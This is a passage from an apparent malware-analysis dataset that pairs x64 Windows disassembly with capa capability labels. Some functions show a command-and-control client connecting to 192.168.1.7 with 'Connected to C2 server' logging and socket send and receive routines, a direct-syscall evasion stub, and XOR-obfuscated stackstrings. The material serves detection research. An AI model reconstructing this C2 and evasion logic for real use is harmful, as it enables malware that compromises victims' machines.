joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008cc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400b7210]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140008ced
xor eax, eax
jmp 0x140008e33
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140008d27
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140008d27
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140008e33
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140008e26
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140008d6a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140008d79
movsx ecx, dil
jmp 0x140008dcd
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x140008de7
sub eax, 1
je 0x140008de7
cmp eax, 2
jne 0x140008e26
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.1400361b4
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140008e2b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140008e14
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.1400392dc
cmp rsi, rax
jne 0x140008e26
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140008e2b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140026c50
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14001f750
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x14001f8a4
cmp r9, 4
jb 0x14001f79a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x14001f780
xor r11d, r11d
test r9, r9
je 0x14001f8a4
cmp r9, 0x40
jb 0x14001f883
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14001f7cc
cmp rdx, r8
jae 0x14001f883
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x14001f7e1
cmp rdx, r10
jae 0x14001f883
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp], rdi
mov rdi, r9
and rdi, 0xffffffffffffffc0
mov rdx, r10
lea rax, [r8 + 0x10]
sub rdx, r8
mov rbx, rcx
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rdi
jb 0x14001f810
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
cmp r11, r9
jae 0x14001f8a4
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x14001f890
add rsp, 8
ret

Function at 0x140027b48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140027b92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140027b92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140027b92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140027b92
cmp dword [rcx + 0x84], 0xe
jbe 0x140027b92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140027b94
xor al, al
add rsp, 0x28
ret

Function at 0x14003eb98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003e9c4
Function at 0x140002ee0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f2c
xor al, al
add rsp, 0x28
ret
Function at 0x6d18253d
Capabilities:
Initialize winsock library

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x16c], eax
cmp dword [rbp + 0x16c], 0
je 0x6d1825d5
lea rax, [rbp + 0x16b]
mov rcx, rax
call fcn.6d182da0
lea rdx, [rbp + 0x16b]
lea rax, [rbp + 0x140]
mov r8, rdx
lea rdx, str.Winsock_initialization_failed.
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov eax, 0
jmp 0x6d18260d
mov eax, 1
jmp 0x6d18260d
add rsp, 0x1f8
pop rbx
pop rbp
ret
Function at 0x6d182617
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0xffffffffffffffff
jne 0x6d1826a2
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.6d182da0
lea rdx, [rbp - 0x21]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.Socket_creation_failed.
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x21]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, 0xffffffffffffffff
jmp 0x6d18282b
mov word [rbp - 0x60], 2
lea rcx, str.192.168.1.7
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
mov ecx, 0x1e61
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x38]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x6d182757
lea rax, [rbp + 0xf]
mov rcx, rax
call fcn.6d182da0
lea rdx, [rbp + 0xf]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.Connection_to_C2_server_failed.
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, 0xffffffffffffffff
jmp 0x6d18282b
lea rax, [rbp + 0x37]
mov rcx, rax
call fcn.6d182da0
lea rdx, [rbp + 0x37]
lea rax, [rbp + 0x10]
mov r8, rdx
lea rdx, str.Connected_to_C2_server.
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, qword [rbp + 0x38]
jmp 0x6d18282b
add rsp, 0xc8
pop rbx
pop rbp
ret
Function at 0x6d1828d3
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
mov ebx, eax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov r9d, 0
mov r8d, ebx
mov rdx, rax
mov rcx, qword [rbp - 0x20]
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov rdx, qword [rbp - 0x18]
mov r8, rdx
lea rdx, str.Data_sent:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x6d18296b
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x6d182972
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x2a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x240], rcx
mov qword [rbp + 0x248], rdx
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x248]
mov r9d, 0
mov r8d, 0x200
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x21c], eax
cmp dword [rbp + 0x21c], 0xffffffff
jne 0x6d182a63
lea rax, [rbp + 0x1ed]
mov rcx, rax
call fcn.6d182da0
lea rdx, [rbp + 0x1ed]
lea rax, [rbp + 0x1c0]
mov r8, rdx
lea rdx, str.Receive_data_failed.
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ed]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1ee]
mov rcx, rax
call fcn.6d182da0
lea rax, [rbp + 0x1ee]
mov r8, rax
lea rdx, [0x6d188283]
mov rcx, qword [rbp + 0x240]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x6d182ba0
mov eax, dword [rbp + 0x21c]
cdqe
mov byte [rbp + rax - 0x40], 0
lea rax, [rbp + 0x1ef]
mov rcx, rax
call fcn.6d182da0
lea rcx, [rbp + 0x1ef]
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1f0]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.Data_received:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.log_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rdx, rax
mov rcx, qword [rbp + 0x240]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x6d182ba0
mov rax, qword [rbp + 0x240]
add rsp, 0x2a8
pop rbx
pop rbp
ret
Function at 0x6d183180
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d18b604]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d183308
mov rax, qword [0x6d18b608]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d1831cc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d183255
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d1831b0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d18333d
mov rax, qword [0x6d18b608]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d18b608]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d183320
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d18324e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d1832b0
add dword [0x6d18b604], 1
cmp edi, 8
jae 0x6d183283
test dil, 4
jne 0x6d1832f4
test edi, edi
je 0x6d183278
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d18330f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d183278
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d18329c
jmp 0x6d183278
add rsi, qword [0x6d18b608]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d18324e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d183278
xor esi, esi
jmp 0x6d1831d7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d183278
mov rax, qword [0x6d18b608]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d183a90
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d18b8e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d18b8c0]
test rbx, rbx
je 0x6d183ae4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d183adb
test rsi, rsi
je 0x6d183adb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d183ac0
lea rcx, [0x6d18b8e0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d183d20
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d183d30
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d183d40
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d183d81
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d183d78
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d183d83
add rax, 0x28
cmp rax, r9
jne 0x6d183d64
xor eax, eax
ret

Function at 0x6d183e20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d1885a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d183e8d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d183e8d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d183e8d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d183e84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d183e8f
add rax, 0x28
cmp rax, r9
jne 0x6d183e70
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d183f90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d1885a0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d183fb0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d183fa8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d18400d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d184004
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d184014
add rax, 0x28
cmp rax, r9
jne 0x6d183ff0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d184030
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d1885a0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d18409e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d18409e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d18409e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d18409e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d184095
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d1840a5
add rcx, 0x28
cmp rcx, rax
jne 0x6d184080
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d1840b8
jmp 0x6d18409e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d1840c6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d18409e
test r9d, r9d
jg 0x6d1840b0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d186910
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x14000198b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001aff
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1409eca21]
jmp 0x1400019f1
mov byte [0x1409eca21], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1409eca00]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001aff
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x8d
mov byte [rsp + 0x21], 0x7a
mov byte [rsp + 0x22], 0x85
mov byte [rsp + 0x23], 0x7c
mov byte [rsp + 0x24], 0x85
mov byte [rsp + 0x25], 0x86
mov byte [rsp + 0x26], 0x8b
mov byte [rsp + 0x27], 0x7c
mov byte [rsp + 0x28], 0x83
mov byte [rsp + 0x29], 0x74
mov byte [rsp + 0x2a], 0x88
mov byte [rsp + 0x2b], 0x81
mov byte [rsp + 0x2c], 0x7f
mov byte [rsp + 0x2d], 0x8d
mov byte [rsp + 0x2e], 0x78
mov byte [rsp + 0x2f], 0x83
mov byte [rsp + 0x30], 0x8c
mov byte [rsp + 0x31], 0x8c
mov byte [rsp + 0x32], 0x88
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x79
mov byte [rsp + 0x35], 0x77
mov byte [rsp + 0x36], 0x77
mov byte [rsp + 0x37], 0x79
mov byte [rsp + 0x38], 0x86
mov byte [rsp + 0x39], 0x7f
mov byte [rsp + 0x3a], 0x8a
mov byte [rsp + 0x3b], 0x78
mov byte [rsp + 0x3c], 0x89
mov byte [rsp + 0x3d], 0x8a
mov byte [rsp + 0x3e], 0x7f
mov byte [rsp + 0x3f], 0x8d
mov byte [rsp + 0x40], 0x13
cmp byte [0x1409ec9e0], 0
jne 0x140001ada
mov byte [0x1409eca21], 1
mov eax, 0
lea rcx, [0x1409eca00]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001ab9
mov byte [0x1409ec9e0], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1409eca21], 0
je 0x1400019c3
lea rax, [0x1409eca00]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001aee
jmp 0x1400019bc
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140006e10
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006e40
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006e3f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006e45
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006e3f
mov eax, 0
jmp 0x140006e3f

Function at 0x1400074c0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140007470
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140010ad0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140019610
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140019610
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]